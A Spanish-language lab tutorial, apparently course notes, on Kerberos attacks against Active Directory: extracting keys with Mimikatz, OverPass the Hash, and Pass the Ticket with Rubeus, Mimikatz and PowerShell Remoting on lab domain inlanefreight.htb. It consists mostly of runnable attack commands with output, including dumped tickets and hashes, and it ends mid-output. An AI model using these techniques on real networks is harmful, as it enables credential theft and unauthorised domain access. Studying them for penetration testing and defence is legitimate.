doIE1jCCBNKgAwIBBaEDAgEWooID7TCCA+lhggPlMIID4aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggOvMIIDq6ADAgESoQMCAQKiggOdBIIDmUE/AWlM6VlpGv+Gfvn6bHXrpRjRbsgcw9beSqS2ihO+FY/2Rr0g0iHowOYOgn7EBV3JYEDTNZS2ErKNLVOh0/TczLexQk+bKTMh55oNNQDVzmarvzByKYC0XRTjb1jPuVz4exraxGEBTgJYUunCy/R5agIa6xuuGUvXL+6AbHLvMb+ObdU7Dyn9eXruBscIBX5k3D3S5sNuEnm1sHVsGuDBAN5Ko6kZQRTx22A+lZZD12ymv9rh8S41z0+pfINdXx/VQAxYRL5QKdjbndchgpJro4mdzuEiu8wYOxbpJdzMANSSQiep+wOTUMgimcHCCCrhXdyR7VQoRjjdmTrKbPVGltBOAWQOrFs6YK1OdxBles1GEibRnaoT9qwEmXOa4ICzhjHgph36TQIwoRC+zjPMZl9lf+qtpuOQK86aG7Uwv7eyxwSa1/H0mi5B+un2xKaRmj/mZHXPdT7B5Ruwct93F2zQQ1mKIH0qLZO1Zv/G0IrycXxoE5MxMLERhbPl4Vx1XZGJk2a3m8BmsSZJt/++rw7YE/vmQiW6FZBO/2uzMgPJK9xI8kaJvTOmfJQwVlJslsjY2RAVGly1B0Y80UjeN8iVmKCk3Jvz4QUCLK2zZPWKCn+qMTtvXBqx80VH1hyS8FwU3oh90IqNS1VFbDjZdEQpBGCE/mrbQ2E/rGDKyGvIZfCo7t+kuaCivnY8TTPFszVMKTDSZ2WhFtO2fipId+shPjk3RLI89BT4+TDzGYKU2ipkXm5cEUnNis4znYVjGSIKhtrHltnBO3d1pw402xVJ5lbT+yJpzcEc5N7xBkymYLHAbM9DnDpJ963RN/0FcZDusDdorHA1DxNUCHQgvK17iametKsz6Vgw0zVySsPp/wZ/tssglp5UU6in1Bq91hA2c35l8M1oGkCqiQrfY8x3GNpMPixwBdd2OU1xwn/gaon2fpWEPFzKgDRtKe1FfTjoEySGr38QSs1+JkVk0HTRUbx9Nnq6w3W+D1p+FSCRZyCF/H1ahT9o0IRkFiOj0Cud5wyyEDom08wOmgwxK0D/0aisBTRzmZrSfG7Kjm9/yNmLB5va1yD3IyFiMreZZ2WRpNyK0G6L4H7NBZPcxIgE/Cxx/KduYTPnBDvwb6uUDMcZR83lVAQ5NyHHaHUOjoWsawHraI4uYgmCqXYN7yYmJPKNDI290GMbn1zIPSSL82V3hRbOO8CZNP/f64haRlR63GJBGaOB1DCB0aADAgEAooHJBIHGfYHDMIHAoIG9MIG6MIG3oCswKaADAgESoSIEIClgTKTOAY3p4054sB9McPBYb2xUn/kgVWSSXFoFCot8oQkbB0hUQi5DT02iEjAQoAMCAQGhCTAHGwVEQzAxJKMHAwUAYKEAAKURGA8yMDIyMDcxMjEzMzk1NFqmERgPMjAyMjA3MTIyMzM5NTRapxEYDzIwMjIwNzE5MTMzOTU0WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdIVEIuQ09N

  UserName                 : plaintext
  Domain                   : HTB
  LogonId                  : 0x6c680
  UserSID                  : S-1-5-21-228825152-3134732153-3833540767-1107
  AuthenticationPackage    : Kerberos
  LogonType                : Interactive
  LogonTime                : 7/12/2022 9:42:15 AM
  LogonServer              : DC01
  LogonServerDNSDomain     : inlanefreight.htb
  UserPrincipalName        : plaintext@inlanefreight.htb


    ServiceName           :  krbtgt/inlanefreight.htb
    ServiceRealm          :  inlanefreight.htb
    UserName              :  plaintext
    UserRealm             :  inlanefreight.htb
    StartTime             :  7/12/2022 9:42:15 AM
    EndTime               :  7/12/2022 7:42:15 PM
    RenewTill             :  7/19/2022 9:42:15 AM
    Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
    KeyType               :  aes256_cts_hmac_sha1
    Base64(key)           :  2NN3wdC4FfpQunUUgK+MZO8f20xtXF0dbmIagWP0Uu0=
    Base64EncodedTicket   :

doIE9jCCBPKgAwIBBaEDAgEWooIECTCCBAVhggQBMIID/aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT02jggPLMIIDx6ADAgESoQMCAQKiggO5BIIDtc6ptErl3sAxJsqVTkV84/IcqkpopGPYMWzPcXaZgPK9hL0579FGJEBXX+Ae90rOcpbrbErMr52WEVa/E2vVsf37546ScP0+9LLgwOAoLLkmXAUqP4zJw47nFjbZQ3PHs+vt6LI1UnGZoaUNcn1xI7VasrDoFakj/ZH+GZ7EjgpBQFDZy0acNL8cK0AIBIe8fBF5K7gDPQugXaB6diwoVzaO/E/p8m3t35CR1PqutI5SiPUNim0s/snipaQnyuAZzOqFmhwPPujdwOtm1jvrmKV1zKcEo2CrMb5xmdoVkSn4L6AlX328K0+OUILS5GOe2gX6Tv1zw1F9ANtEZF6FfUk9A6E0dc/OznzApNlRqnJ0dq45mD643HbewZTV8YKS/lUovZ6WsjsyOy6UGKj+qF8WsOK1YsO0rW4ebWJOnrtZoJXryXYDf+mZ43yKcS10etHsq1B2/XejadVr1ZY7HKoZKi3gOx3ghk8foGPfWE6kLmwWnT16COWVI69D9pnxjHVXKbB5BpQWAFUtEGNlj7zzWTPEtZMVGeTQOZ0FfWPRS+EgLmxUc47GSVON7jhOTx3KJDmE7WHGsYzkWtKFxKEWMNxIC03P7r9seEo5RjS/WLant4FCPI+0S/tasTp6GGP30lbZT31WQER49KmSC75jnfT/9lXMVPHsA3VGG2uwGXbq1H8UkiR0ltyD99zDVTmYZ1aP4y63F3Av9cg3dTnz60hNb7H+AFtfCjHGWdwpf9HZ0u0HlBHSA7pYADoJ9+ioDghL+cqzPn96VyDcqbauwX/FqC/udT+cgmkYFzSIzDhZv6EQmjUL4b2DFL/Mh8BfHnFCHLJdAVRdHlLEEl1MdK9/089O06kD3qlE6s4hewHwqDy39ORxAHHQBFPU211nhuU4Jofb97d7tYxn8f8c5WxZmk1nPILyAI8u9z0nbOVbdZdNtBg5sEX+IRYyY7o0z9hWJXpDPuk0ksDgDckPWtFvVqX6Cd05yP2OdbNEeWns9JV2D5zdS7Q8UMhVo7z4GlFhT/eOopfPc0bxLoOv7y4fvwhkFh/9LfKu6MLFneNff0Duzjv9DQOFd1oGEnA4MblzOcBscoH7CuscQQ8F5xUCf72BVY5mShq8S89FG9GtYotmEUe/j+Zk6QlGYVGcnNcDxIRRuyI1qJZxCLzKnL1xcKBF4RblLcUtkYDT+mZlCSvwWgpieq1VpQg42Cjhxz/+xVW4Vm7cBwpMc77Yd1+QFv0wBAq5BHvPJI4hCVPs7QejgdgwgdWgAwIBAKKBzQSByn2BxzCBxKCBwTCBvjCBu6ArMCmgAwIBEqEiBCDY03fB0LgV+lC6dRSAr4xk7x/bTG1cXR1uYhqBY/RS7aEJGwdIVEIuQ09NohYwFKADAgEBoQ0wCxsJcGxhaW50ZXh0owcDBQBA4QAApREYDzIwMjIwNzEyMTM0MjE1WqYRGA8yMDIyMDcxMjIzNDIxNVqnERgPMjAyMjA3MTkxMzQyMTVaqAkbB0hUQi5DT02pHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB0hUQi5DT00=

<SNIP>

Nota: Para recolectar todos los tickets, necesitamos ejecutar Mimikatz o Rubeus con privilegios de administrador.

Este es un método común para recuperar tickets desde una máquina. Una de las ventajas de abusar de los tickets Kerberos es que también podemos forjar nuestros propios tickets.

Veamos cómo podemos hacerlo utilizando la técnica OverPass the Hash o también conocida como Pass the Key.

Pass the Key or OverPass the Hash

La técnica tradicional de Pass the Hash (PtH) consiste en reutilizar un hash de contraseña NTLM y no interactúa con Kerberos. En cambio, la técnica Pass the Key o OverPass the Hash convierte un hash o clave (como rc4_hmac, aes256_cts_hmac_sha1, etc.) de un usuario unido al dominio en un Ticket-Granting-Ticket (TGT) completo.

Esta técnica fue desarrollada por Benjamin Delpy y Skip Duckwall en su presentación Abusing Microsoft Kerberos - Sorry you guys don't get it. Más adelante, Will Schroeder adaptó ese trabajo y creó la herramienta Rubeus.

Para forjar nuestros propios tickets, necesitamos tener el hash del usuario. Podemos usar Mimikatz para volcar todas las claves de cifrado Kerberos de los usuarios con el módulo:

sekurlsa::ekeys

Este módulo enumerará todos los tipos de claves disponibles para el paquete Kerberos.

Mimikatz - Extract Kerberos Keys

.\mimikatz.exe "privilege::debug" "sekurlsa::ekeys" exit

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::ekeys
<SNIP>

Authentication Id : 0 ; 444066 (00000000:0006c6a2)
Session           : Interactive from 1
User Name         : plaintext
Domain            : HTB
Logon Server      : DC01
Logon Time        : 7/12/2022 9:42:15 AM
SID               : S-1-5-21-228825152-3134732153-3833540767-1107

         * Username : plaintext
         * Domain   : inlanefreight.htb
         * Password : (null)
         * Key List :
           aes256_hmac       b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60
           rc4_hmac_nt       3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old      3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_md4           3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_nt_exp   3f74aa8f08f712f09cd5177b5c1ce50f
           rc4_hmac_old_exp  3f74aa8f08f712f09cd5177b5c1ce50f
<SNIP>

Ahora que ya tenemos acceso a las claves AES256_HMAC y RC4_HMAC, podemos llevar a cabo el ataque OverPass the Hash o Pass the Key utilizando Mimikatz o Rubeus.

Mimikatz - Pass the Key or OverPass the Hash

.\mimikatz.exe "privilege::debug" "sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f" exit

c:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # sekurlsa::pth /domain:inlanefreight.htb /user:plaintext /ntlm:3f74aa8f08f712f09cd5177b5c1ce50f

user    : plaintext
domain  : inlanefreight.htb
program : cmd.exe
impers. : no
NTLM    : 3f74aa8f08f712f09cd5177b5c1ce50f
  |  PID  1128
  |  TID  3268
  |  LSA Process is now R/W
  |  LUID 0 ; 3414364 (00000000:0034195c)
  \_ msv1_0   - data copy @ 000001C7DBC0B630 : OK !
  \_ kerberos - data copy @ 000001C7E20EE578
   \_ aes256_hmac       -> null
   \_ aes128_hmac       -> null
   \_ rc4_hmac_nt       OK
   \_ rc4_hmac_old      OK
   \_ rc4_md4           OK
   \_ rc4_hmac_nt_exp   OK
   \_ rc4_hmac_old_exp  OK
   \_ *Password replace @ 000001C7E2136BC8 (32) -> null

Esto generará una nueva ventana de cmd.exe que podremos usar para solicitar acceso a cualquier servicio que queramos, ya en el contexto del usuario objetivo.

Para forjar un ticket usando Rubeus, podemos utilizar el módulo asktgt junto con el nombre de usuario, el dominio y el hash correspondiente, que puede ser /rc4, /aes128, /aes256 o /des.

Rubeus - Pass the Key or OverPass the Hash

rc4/NTLM

.\Rubeus.exe asktgt /user:plaintext /domain:inlanefreight.htb /rc4:<hash_NTLM> /nowrap

aes256

.\Rubeus.exe asktgt /user:plaintext /domain:inlanefreight.htb /aes256:<hash_aes256> /nowrap

En el siguiente ejemplo usamos el hash aes256 obtenido previamente con Mimikatz usando sekurlsa::ekeys:

c:\tools> Rubeus.exe  asktgt /domain:inlanefreight.htb /user:plaintext /aes256:b21c99fc068e3ab2ca789bccbef67de43791fd911c6e15ead25641a8fda3fe60 /nowrap

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/LSsa2xrdJJir1eVugDFCoGFT2hDcYcpRdifXw67WofDM6Z6utsha+4bL0z6QN+tdpPlNQFwjuWmBrZtpS9TcCblotYvDHa0aLVsroW/fqXJ4KIV2tVfbVIDJvPkgdNAbhp6NvlbzeakR1oO5RTm7wtRXeTirfo6C9Ap0HnctlHAd+Qnvo2jGUPP6GHIhdlaM+QShdJtzBEeY/xIrORiiylYcBvOoir8mFEzNpQgYADmbTmg+c7/NgNO8Qj4AjrbGjVf/QWLlGc7sH9+tARi/Gn0cGKDK481A0zz+9C5huC9ZoNJ/18rWfJEb4P2kjlgDI0/fauT5xN+3NlmFVv0FSC8/909pUnovy1KkQaMgXkbFjlxeheoPrP6S/TrEQ8xKMyrz9jqs3ENh//q738lxSo8J2rZmv1QHy+wmUKif4DUwPyb4AHgSgCCUUppIFB3UeKjqB5srqHR78YeAWgY7pgqKpKkEomy922BtNprk2iLV1cM0trZGSk6XJ/H+JuLHI5DkuhkjZQbb1kpMA2CAFkEwdL9zkfrsrdIBpwtaki8pvcBPOzAjXzB7MWvhyAQevHCT9y6iDEEvV7fsF/B5xHXiw3Ur3P0xuCS4K/Nf4GC5PIahivW3jkDWn3g/0nl1K9YYX7cfgXQH9/inPS0OF1doslQfT0VUHTzx8vG3H25vtc2mPrfIwfUzmReLuZH8GCvt4p2BAbHLKx6j/HPa4+YPmV0GyCv9iICucSwdNXK53Q8tPjpjROha4AGjaK50yY8lgknRA4dYl7+O2+j4K/lBWZHy+IPgt3TO7YFoPJIEuHtARqigF5UzG1S+mefTmqpuHmoq72KtidINHqi+GvsvALbmSBQaRUXsJW/Lf17WXNXmjeeQWemTxlysFs1uRw9JlPYsGkXFh3fQ2ngax7JrKiO1/zDNf6cvRpuygQRHMOo5bnWgB2E7hVmXm2BTimE7axWcmopbIkEi165VOy/M+pagrzZDLTiLQOP/X8D6G35+srSr4YBWX4524/Nx7rPFCggxIXEU4zq3Ln1KMT9H7efDh+h0yNSXMVqBSCZLx6h3Fm2vNPRDdDrq7uz5UbgqFoR2tgvEOSpeBG5twl4MSh6VA7LwFi2usqqXzuPgqySjA1nPuvfy0Nd14GrJFWo6eDWoOy2ruhAYtaAtYC6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEXoRIEENEzis1B3YAUCjJPPsZjlduhCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUAQOEAAKURGA8yMDIyMDcxMjE1MjgyNlqmERgPMjAyMjA3MTMwMTI4MjZapxEYDzIwMjIwNzE5MTUyODI2WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 11:28:26 AM
  EndTime               :  7/12/2022 9:28:26 PM
  RenewTill             :  7/19/2022 11:28:26 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  0TOKzUHdgBQKMk8+xmOV2w==

Nota: Mimikatz requiere privilegios de administrador para ejecutar ataques Pass the Key / OverPass the Hash, mientras que Rubeus no los necesita.

Si queremos profundizar en la diferencia entre sekurlsa::pth de Mimikatz y asktgt de Rubeus, podemos consultar la documentación oficial de Rubeus en el apartado Example for OverPass the Hash.

Nota: En dominios modernos de Windows (nivel funcional 2008 en adelante), el cifrado por defecto en los intercambios Kerberos es AES. Si usamos un hash rc4_hmac (NTLM) en lugar de una clave aes256_cts_hmac_sha1 o aes128, es posible que se detecte como un intento de "encryption downgrade" (reducción del nivel de cifrado).

Pass the Ticket (PtT)

Ahora que ya tenemos algunos tickets Kerberos, podemos usarlos para movernos lateralmente dentro del entorno.

Con Rubeus, realizamos un ataque OverPass the Hash y recuperamos el ticket en formato base64. Sin embargo, en lugar de simplemente mostrar el ticket, también podemos usar la opción /ptt para inyectarlo directamente (ya sea un TGT o un TGS) en la sesión de inicio actual.

Esto nos permite actuar como el usuario comprometido y acceder a recursos dentro del dominio sin necesidad de autenticarnos con su contraseña.

Rubeus - Pass The Ticket

.\Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt

c:\tools> Rubeus.exe asktgt /domain:inlanefreight.htb /user:plaintext /rc4:3f74aa8f08f712f09cd5177b5c1ce50f /ptt
   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[*] Action: Ask TGT

[*] Using rc4_hmac hash: 3f74aa8f08f712f09cd5177b5c1ce50f
[*] Building AS-REQ (w/ preauth) for: 'inlanefreight.htb\plaintext'
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKh
      EzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpcGX6rbUlYxOWeMmu/zb
      f7vGgDj/g+P5zzLbr+XTIPG0kI2WCOlAFCQqz84yQd6IRcEeGjG4YX/9ezJogYNtiLnY6YPkqlQaG1Nn
      pAQBZMIhs01EH62hJR7W5XN57Tm0OLF6OFPWAXncUNaM4/aeoAkLQHZurQlZFDtPrypkwNFQ0pI60NP2
      9H98JGtKKQ9PQWnMXY7Fc/5j1nXAMVj+Q5Uu5mKGTtqHnJcsjh6waE3Vnm77PMilL1OvH3Om1bXKNNan
      JNCgb4E9ms2XhO0XiOFv1h4P0MBEOmMJ9gHnsh4Yh1HyYkU+e0H7oywRqTcsIg1qadE+gIhTcR31M5mX
      5TkMCoPmyEIk2MpO8SwxdGYaye+lTZc55uW1Q8u8qrgHKZoKWk/M1DCvUR4v6dg114UEUhp7WwhbCEtg
      5jvfr4BJmcOhhKIUDxyYsT3k59RUzzx7PRmlpS0zNNxqHj33yAjm79ECEc+5k4bNZBpS2gJeITWfcQOp
      lQ08ZKfZw3R3TWxqca4eP9Xtqlqv9SK5kbbnuuWIPV2/QHi3deB2TFvQp9CSLuvkC+4oNVg3VVR4bQ1P
      fU0+SPvL80fP7ZbmJrMan1NzLqit2t7MPEImxum049nUbFNSH6D57RoPAaGvSHePEwbqIDTghCJMic2X
      c7YJeb7y7yTYofA4WXC2f1MfixEEBIqtk/drhqJAVXz/WY9r/sWWj6dw9eEhmj/tVpPG2o1WBuRFV72K
      Qp3QMwJjPEKVYVK9f+uahPXQJSQ7uvTgfj3N5m48YBDuZEJUJ52vQgEctNrDEUP6wlCU5M0DLAnHrVl4
      Qy0qURQa4nmr1aPlKX8rFd/3axl83HTPqxg/b2CW2YSgEUQUe4SqqQgRlQ0PDImWUB4RHt+cH6D563n4
      PN+yqN20T9YwQMTEIWi7mT3kq8JdCG2qtHp/j2XNuqKyf7FjUs5z4GoIS6mp/3U/kdjVHonq5TqyAWxU
      wzVSa4hlVgbMq5dElbikynyR8maYftQk+AS/xYby0UeQweffDOnCixJ9p7fbPu0Sh2QWbaOYvaeKiG+A
      GhUAUi5WiQMDSf8EG8vgU2gXggt2Slr948fy7vhROp/CQVFLHwl5/kGjRHRdVj4E+Zwwxl/3IQAU0+ag
      GrHDlWUe3G66NrR/Jg8zXhiWEiViMd5qPC2JTW1ronEPHZFevsU0pVK+MDLYc3zKdfn0q0a3ys9DLoYJ
      8zNLBL3xqHY9lNe6YiiAzPG+Q6OByDCBxaADAgEAooG9BIG6fYG3MIG0oIGxMIGuMIGroBswGaADAgEX
      oRIEED0RtMDJnODs5w89WCAI3bChCRsHSFRCLkNPTaIWMBSgAwIBAaENMAsbCXBsYWludGV4dKMHAwUA
      QOEAAKURGA8yMDIyMDcxMjE2Mjc0N1qmERgPMjAyMjA3MTMwMjI3NDdapxEYDzIwMjIwNzE5MTYyNzQ3
      WqgJGwdIVEIuQ09NqRwwGqADAgECoRMwERsGa3JidGd0GwdodGIuY29t
[+] Ticket successfully imported!

  ServiceName           :  krbtgt/inlanefreight.htb
  ServiceRealm          :  inlanefreight.htb
  UserName              :  plaintext
  UserRealm             :  inlanefreight.htb
  StartTime             :  7/12/2022 12:27:47 PM
  EndTime               :  7/12/2022 10:27:47 PM
  RenewTill             :  7/19/2022 12:27:47 PM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  KeyType               :  rc4_hmac
  Base64(key)           :  PRG0wMmc4OznDz1YIAjdsA==

Hay que notar que ahora aparece el mensaje Ticket successfully imported!, lo que indica que el ticket se ha inyectado correctamente en la sesión actual.

Otra forma de hacerlo es importar el ticket manualmente desde el disco, usando un archivo .kirbi previamente exportado.

.\Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi

c:\tools> Rubeus.exe ptt /ticket:[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi

 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Rubeus - Pass the Ticket - Base64Format

Convert .kirbi to Base64 Format

También podemos usar la salida en base64 generada por Rubeus, o convertir un archivo .kirbi a base64, para llevar a cabo un ataque Pass the Ticket.

Nota: Cambiar [0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi por el ticket correspondiente.

[Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))

PS c:\tools> [Convert]::ToBase64String([IO.File]::ReadAllBytes("[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"))

doQAAAWfMIQAAAWZoIQAAAADAgEFoYQAAAADAgEWooQAAAQ5MIQAAAQzYYQAAAQtMIQAAAQnoIQAAAADAgEFoYQAAAAJGwdIVEIuQ09NooQAAAAsMIQAAAAmoIQAAAADAgECoYQAAAAXMIQAAAARGwZrcmJ0Z3QbB0hUQi5DT02jhAAAA9cwhAAAA9GghAAAAAMCARKhhAAAAAMCAQKihAAAA7kEggO1zqm0SuXewDEmypVORXzj8hyqSmikY9gxbM9xdpmA8r2EvTnv0UYkQFdf4B73Ss5ylutsSsyvnZYRVr8Ta9Wx/fvnjpJw/T70suDA4CgsuSZcBSo/jMnDjucWNtlDc8ez6<SNIP>

Rubeus - Pass the Ticket

Con Rubeus, también podemos realizar un ataque Pass the Ticket proporcionando directamente la cadena en base64 en lugar del nombre del archivo .kirbi.

.\Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/<SNIP>

c:\tools> Rubeus.exe ptt /ticket:doIE1jCCBNKgAwIBBaEDAgEWooID+TCCA/VhggPxMIID7aADAgEFoQkbB0hUQi5DT02iHDAaoAMCAQKhEzARGwZrcmJ0Z3QbB2h0Yi5jb22jggO7MIIDt6ADAgESoQMCAQKiggOpBIIDpY8Kcp4i71zFcWRgpx8ovymu3HmbOL4MJVCfkGIrdJEO0iPQbMRY2pzSrk/gHuER2XRLdV/<SNIP>
 ______        _
(_____ \      | |
 _____) )_   _| |__  _____ _   _  ___
|  __  /| | | |  _ \| ___ | | | |/___)
| |  \ \| |_| | |_) ) ____| |_| |___ |
|_|   |_|____/|____/|_____)____/(___/

v1.5.0


[*] Action: Import Ticket
[+] ticket successfully imported!

c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Mimikatz - Pass The Ticket

Finalmente, también podemos realizar el ataque Pass the Ticket utilizando el módulo kerberos::ptt de Mimikatz, importando directamente el archivo .kirbi que contiene el ticket que queremos inyectar.

Nota: modificar C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi por la ubicación donde se encuentre el .kirbi.

.\mimikatz.exe 'kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"' exit

C:\tools> mimikatz.exe 

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug  6 2020 14:53:43
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
 ## \ / ##       > http://blog.gentilkiwi.com/mimikatz
 '## v ##'       Vincent LE TOUX             ( vincent.letoux@gmail.com )
  '#####'        > http://pingcastle.com / http://mysmartlogon.com   ***/

mimikatz # privilege::debug
Privilege '20' OK

mimikatz # kerberos::ptt "C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi"

* File: 'C:\Users\plaintext\Desktop\Mimikatz\[0;6c680]-2-0-40e10000-plaintext@krbtgt-inlanefreight.htb.kirbi': OK
mimikatz # exit
Bye!
c:\tools> dir \\DC01.inlanefreight.htb\c$
Directory: \\dc01.inlanefreight.htb\c$

Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-r---         6/4/2022  11:17 AM                Program Files
d-----         6/4/2022  11:17 AM                Program Files (x86)

<SNIP>

Nota: En lugar de abrir mimikatz.exe desde una ventana de cmd.exe y luego salir para que el ticket quede disponible en esa consola, podemos usar el módulo misc de Mimikatz para lanzar una nueva ventana de símbolo del sistema con el ticket ya inyectado, usando el siguiente comando:

misc::cmd

Esto abrirá una nueva consola donde el ticket estará activo, permitiéndonos operar directamente en el contexto del usuario comprometido sin tener que reiniciar o cerrar sesiones. Muy útil para mantener el flujo sin complicaciones

Pass the Ticket with PowerShell Remoting (Windows)

PowerShell Remoting nos permite ejecutar scripts o comandos en un equipo remoto. Los administradores suelen usarlo para gestionar equipos en la red.

Al habilitar PowerShell Remoting, se crean listeners tanto HTTP como HTTPS. El listener se ejecuta en el puerto estándar TCP/5985 para HTTP y TCP/5986 para HTTPS.

Para crear una sesión remota de PowerShell en otro equipo, debemos tener permisos de administrador, ser miembros del grupo Remote Management Users, o tener permisos explícitos de PowerShell Remoting en la configuración de la sesión.

Supongamos que encontramos una cuenta de usuario que no tiene privilegios de administrador en el equipo remoto, pero sí es miembro del grupo Remote Management Users. En ese caso, podemos usar PowerShell Remoting para conectarnos a ese equipo y ejecutar comandos.

Mimikatz - PowerShell Remoting with Pass the Ticket

Para usar PowerShell Remoting junto con Pass the Ticket, podemos usar Mimikatz para importar nuestro ticket Kerberos y luego abrir una consola de PowerShell para conectarnos a la máquina objetivo.

Primero, abrimos una nueva ventana de cmd.exe y ejecutamos mimikatz.exe. Luego importamos el ticket que recolectamos usando:

kerberos::ptt <path_to_ticket.kirbi>

Una vez que el ticket esté importado en la sesión de cmd.exe, lanzamos una consola de PowerShell desde esa misma ventana con powershell.

Finalmente, usamos el comando:

Enter-PSSession -ComputerName <target_hostname_or_IP>

Esto nos permite conectarnos a la máquina remota aprovechando el ticket Kerberos inyectado, sin necesidad de ingresar credenciales.

Mimikatz - Pass the Ticket for Lateral Movement

Nota: modificar C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi por la ubicación donde se encuentre el .kirbi.

.\mimikatz.exe "privilege::debug" 'kerberos::ptt "C:\Users\Administrator.WIN01\Desktop\[0;1812a]-2-0-40e10000-john@krbtgt-INLANEFREIGHT.HTB.kirbi"' exit

Enter-PSSession -ComputerName DC01

C:\tools> mimikatz.exe

  .#####.   mimikatz 2.2.0 (x64) #19041 Aug 10 2021 17:19:53
 .## ^ ##.  "A La Vie, A L'Amour" - (oe.eo)
 ## / \ ##  /*** Benjamin DELPY `gentilkiwi` ( benjamin@gentilkiwi.com )
